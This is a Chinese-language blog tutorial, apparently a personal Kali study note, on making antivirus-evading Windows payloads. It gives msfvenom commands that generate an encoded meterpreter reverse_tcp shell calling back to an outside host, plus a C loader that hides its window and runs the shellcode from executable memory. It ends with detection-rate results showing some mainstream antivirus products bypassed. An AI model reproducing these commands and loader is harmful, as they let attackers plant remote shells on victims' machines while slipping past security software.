欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Kali的学习笔记篇(八)使用msf生成的shellcode制作免杀payload

程序员文章站 2022-07-15 14:46:36
...

环境:

    kali-linux-2018.2-amd.iso  

    Visual Studio 2017

    msfvenom

   更新时间:2018年8月13日07:06:43

直接注入的生成方式(一):

//生成c格式的后门,-p指定模块,-e 指定编码,-i指定编码次数,-f 输出格式,-b 去除指定代码
aaa@qq.com:~# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.113 LPORT=55555 -f exe > test.exe

输出c格式的方式(二):

aaa@qq.com:~# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' LHOST=192.168.1.113 LPORT=55555 -f c

使用VS2017,将生成的c代码复制到shellcode is here

#include "stdafx.h"
#include "windows.h"
#include "stdio.h"
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//运行时不显示窗口
unsigned char shellcode[] =
"shellcode is here";


void main()
{
		LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
		memcpy(Memory, shellcode, sizeof(shellcode));
		((void(*)())Memory)();
}

修改一下项目属性,最后生成exe程序

Kali的学习笔记篇(八)使用msf生成的shellcode制作免杀payload

 

使用在线杀软引擎测试普通生成和c编译的免杀率对比

方式一:

最低百分五十:

Kali的学习笔记篇(八)使用msf生成的shellcode制作免杀payload

几乎百分百:

Kali的学习笔记篇(八)使用msf生成的shellcode制作免杀payload

方式二:

大概六分之一几率:

Kali的学习笔记篇(八)使用msf生成的shellcode制作免杀payload

其中主流杀软如360等免杀成功:

Kali的学习笔记篇(八)使用msf生成的shellcode制作免杀payload

Kali的学习笔记篇(八)使用msf生成的shellcode制作免杀payload

 

根据测试数据,那么第一种方式最低百分之五十会被杀软检测到,最高百分之九十以上。

第二种几率降低了很多,虽说TX,360都过了,但是这并不是我想要的,,

因为我的火绒在电脑上几乎百分百拦截。

 

记录每一次测试,如果有大佬会的烦请留下提点一二,谢谢。